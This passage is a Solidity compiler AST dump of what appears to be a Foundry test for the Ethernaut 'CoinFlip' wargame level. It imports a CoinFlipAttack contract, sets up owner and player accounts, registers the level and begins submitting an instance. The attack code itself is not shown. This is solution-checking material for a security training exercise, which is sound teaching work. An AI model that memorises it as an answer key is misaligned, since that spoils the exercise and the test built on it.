oreign":{"id":59124,"name":"CoinFlip","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50177,"src":"139:8:122","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":59127,"nodeType":"ImportDirective","src":"181:63:122","nodes":[],"absolutePath":"src/levels/CoinFlipFactory.sol","file":"src/levels/CoinFlipFactory.sol","nameLocation":"-1:-1:-1","scope":59328,"sourceUnit":50228,"symbolAliases":[{"foreign":{"id":59126,"name":"CoinFlipFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50227,"src":"189:15:122","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":59129,"nodeType":"ImportDirective","src":"245:62:122","nodes":[],"absolutePath":"src/attacks/CoinFlipAttack.sol","file":"src/attacks/CoinFlipAttack.sol","nameLocation":"-1:-1:-1","scope":59328,"sourceUnit":49165,"symbolAliases":[{"foreign":{"id":59128,"name":"CoinFlipAttack","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49164,"src":"253:14:122","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":59131,"nodeType":"ImportDirective","src":"308:48:122","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":59328,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":59130,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"316:5:122","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":59133,"nodeType":"ImportDirective","src":"357:44:122","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":59328,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":59132,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"365:9:122","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":59327,"nodeType":"ContractDefinition","src":"403:1819:122","nodes":[{"id":59140,"nodeType":"VariableDeclaration","src":"446:19:122","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"456:9:122","scope":59327,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":59139,"nodeType":"UserDefinedTypeName","pathNode":{"id":59138,"name":"Ethernaut","nameLocations":["446:9:122"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"446:9:122"},"referencedDeclaration":49101,"src":"446:9:122","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":59143,"nodeType":"VariableDeclaration","src":"471:17:122","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"480:8:122","scope":59327,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlip_$50177","typeString":"contract CoinFlip"},"typeName":{"id":59142,"nodeType":"UserDefinedTypeName","pathNode":{"id":59141,"name":"CoinFlip","nameLocations":["471:8:122"],"nodeType":"IdentifierPath","referencedDeclaration":50177,"src":"471:8:122"},"referencedDeclaration":50177,"src":"471:8:122","typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlip_$50177","typeString":"contract CoinFlip"}},"visibility":"internal"},{"id":59145,"nodeType":"VariableDeclaration","src":"495:21:122","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"511:5:122","scope":59327,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":59144,"name":"address","nodeType":"ElementaryTypeName","src":"495:15:122","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":59147,"nodeType":"VariableDeclaration","src":"522:22:122","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"538:6:122","scope":59327,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":59146,"name":"address","nodeType":"ElementaryTypeName","src":"522:15:122","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":59246,"nodeType":"FunctionDefinition","src":"731:583:122","nodes":[],"body":{"id":59245,"nodeType":"Block","src":"755:559:122","nodes":[],"statements":[{"assignments":[59152],"declarations":[{"constant":false,"id":59152,"mutability":"mutable","name":"users","nameLocation":"790:5:122","nodeType":"VariableDeclaration","scope":59245,"src":"765:30:122","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":59150,"name":"address","nodeType":"ElementaryTypeName","src":"765:15:122","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":59151,"nodeType":"ArrayTypeName","src":"765:17:122","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":59156,"initialValue":{"arguments":[{"hexValue":"32","id":59154,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"810:1:122","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":59153,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"798:11:122","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":59155,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"798:14:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"765:47:122"},{"expression":{"id":59161,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":59157,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59145,"src":"823:5:122","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":59158,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59152,"src":"831:5:122","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":59160,"indexExpression":{"hexValue":"30","id":59159,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"837:1:122","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"831:8:122","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"823:16:122","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":59162,"nodeType":"ExpressionStatement","src":"823:16:122"},{"expression":{"arguments":[{"id":59166,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59145,"src":"858:5:122","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":59167,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"865:7:122","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":59163,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"849:2:122","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59165,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"852:5:122","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"849:8:122","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":59168,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"849:24:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59169,"nodeType":"ExpressionStatement","src":"849:24:122"},{"expression":{"id":59174,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":59170,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59147,"src":"884:6:122","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":59171,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59152,"src":"893:5:122","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":59173,"indexExpression":{"hexValue":"31","id":59172,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"899:1:122","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"893:8:122","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"884:17:122","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":59175,"nodeType":"ExpressionStatement","src":"884:17:122"},{"expression":{"arguments":[{"id":59179,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59147,"src":"920:6:122","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":59180,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"928:8:122","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":59176,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"911:2:122","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59178,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"914:5:122","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"911:8:122","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":59181,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"911:26:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59182,"nodeType":"ExpressionStatement","src":"911:26:122"},{"expression":{"arguments":[{"id":59186,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59145,"src":"962:5:122","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59183,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"948:2:122","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59185,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"951:10:122","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"948:13:122","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59187,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"948:20:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59188,"nodeType":"ExpressionStatement","src":"948:20:122"},{"expression":{"id":59193,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":59189,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59140,"src":"978:9:122","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":59191,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59145,"src":"1017:5:122","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":59190,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"990:26:122","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":59192,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"990:33:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"978:45:122","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":59194,"nodeType":"ExpressionStatement","src":"978:45:122"},{"assignments":[59197],"declarations":[{"constant":false,"id":59197,"mutability":"mutable","name":"factory","nameLocation":"1049:7:122","nodeType":"VariableDeclaration","scope":59245,"src":"1033:23:122","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlipFactory_$50227","typeString":"contract CoinFlipFactory"},"typeName":{"id":59196,"nodeType":"UserDefinedTypeName","pathNode":{"id":59195,"name":"CoinFlipFactory","nameLocations":["1033:15:122"],"nodeType":"IdentifierPath","referencedDeclaration":50227,"src":"1033:15:122"},"referencedDeclaration":50227,"src":"1033:15:122","typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlipFactory_$50227","typeString":"contract CoinFlipFactory"}},"visibility":"internal"}],"id":59202,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":59200,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1059:19:122","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_CoinFlipFactory_$50227_$","typeString":"function () returns (contract CoinFlipFactory)"},"typeName":{"id":59199,"nodeType":"UserDefinedTypeName","pathNode":{"id":59198,"name":"CoinFlipFactory","nameLocations":["1063:15:122"],"nodeType":"IdentifierPath","referencedDeclaration":50227,"src":"1063:15:122"},"referencedDeclaration":50227,"src":"1063:15:122","typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlipFactory_$50227","typeString":"contract CoinFlipFactory"}}},"id":59201,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1059:21:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlipFactory_$50227","typeString":"contract CoinFlipFactory"}},"nodeType":"VariableDeclarationStatement","src":"1033:47:122"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":59209,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59197,"src":"1128:7:122","typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlipFactory_$50227","typeString":"contract CoinFlipFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_CoinFlipFactory_$50227","typeString":"contract CoinFlipFactory"}],"id":59208,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1120:7:122","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59207,"name":"address","nodeType":"ElementaryTypeName","src":"1120:7:122","typeDescriptions":{}}},"id":59210,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1120:16:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59206,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1114:5:122","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":59211,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1114:23:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":59203,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59140,"src":"1090:9:122","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":59205,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1100:13:122","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1090:23:122","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":59212,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1090:48:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59213,"nodeType":"ExpressionStatement","src":"1090:48:122"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":59214,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1148:2:122","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59216,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1151:9:122","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1148:12:122","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":59217,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1148:14:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59218,"nodeType":"ExpressionStatement","src":"1148:14:122"},{"expression":{"arguments":[{"id":59222,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59147,"src":"1187:6:122","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59219,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1173:2:122","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59221,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1176:10:122","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1173:13:122","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59223,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1173:21:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59224,"nodeType":"ExpressionStatement","src":"1173:21:122"},{"expression":{"id":59238,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":59225,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59143,"src":"1204:8:122","typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlip_$50177","typeString":"contract CoinFlip"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"id":59228,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59140,"src":"1244:9:122","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":59232,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59197,"src":"1269:7:122","typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlipFactory_$50227","typeString":"contract CoinFlipFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_CoinFlipFactory_$50227","typeString":"contract CoinFlipFactory"}],"id":59231,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1261:7:122","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59230,"name":"address","nodeType":"ElementaryTypeName","src":"1261:7:122","typeDescriptions":{}}},"id":59233,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1261:16:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59229,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1255:5:122","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":59234,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1255:23:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"30","id":59235,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1280:1:122","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":59227,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1224:19:122","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":59236,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1224:58:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59226,"name":"CoinFlip","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50177,"src":"1215:8:122","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_CoinFlip_$50177_$","typeString":"type(contract CoinFlip)"}},"id":59237,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1215:68:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlip_$50177","typeString":"contract CoinFlip"}},"src":"1204:79:122","typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlip_$50177","typeString":"contract CoinFlip"}},"id":59239,"nodeType":"ExpressionStatement","src":"1204:79:122"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":59240,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1293:2:122","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59242,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1296:9:122","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1293:12:122","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":59243,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1293:14:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59244,"nodeType":"ExpressionStatement","src":"1293:14:122"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"740:5:122","parameters":{"id":59148,"nodeType":"ParameterList","parameters":[],"src":"745:2:122"},"returnParameters":{"id":59149,"nodeType":"ParameterList","parameters":[],"src":"755:0:122"},"scope":59327,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":59267,"nodeType":"FunctionDefinition","src":"1566:132:122","nodes":[],"body":{"id":59266,"nodeType":"Block","src":"1593:105:122","nodes":[],"statements":[{"expression":{"arguments":[{"id":59253,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59147,"src":"1612:6:122","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59250,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1603:2:122","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59252,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1606:5:122","memberName":"prank","nodeType":"MemberAccess","referencedDeclaration":15326,"src":"1603:8:122","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59254,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1603:16:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59255,"nodeType":"ExpressionStatement","src":"1603:16:122"},{"expression":{"arguments":[{"arguments":[{"id":59258,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59140,"src":"1661:9:122","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":59261,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59143,"src":"1680:8:122","typeDescriptions":{"typeIdentifier":"t_contract$_CoinFlip_$50177","typeString":"contract CoinFlip"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_CoinFlip_$50177","typeString":"contract CoinFlip"}],"id":59260,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1672:7:122","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59259,"name":"address","nodeType":"ElementaryTypeName","src":"1672:7:122","typeDescriptions":{}}},"id":59262,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1672:17:122","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":59257,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1641:19:122","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns 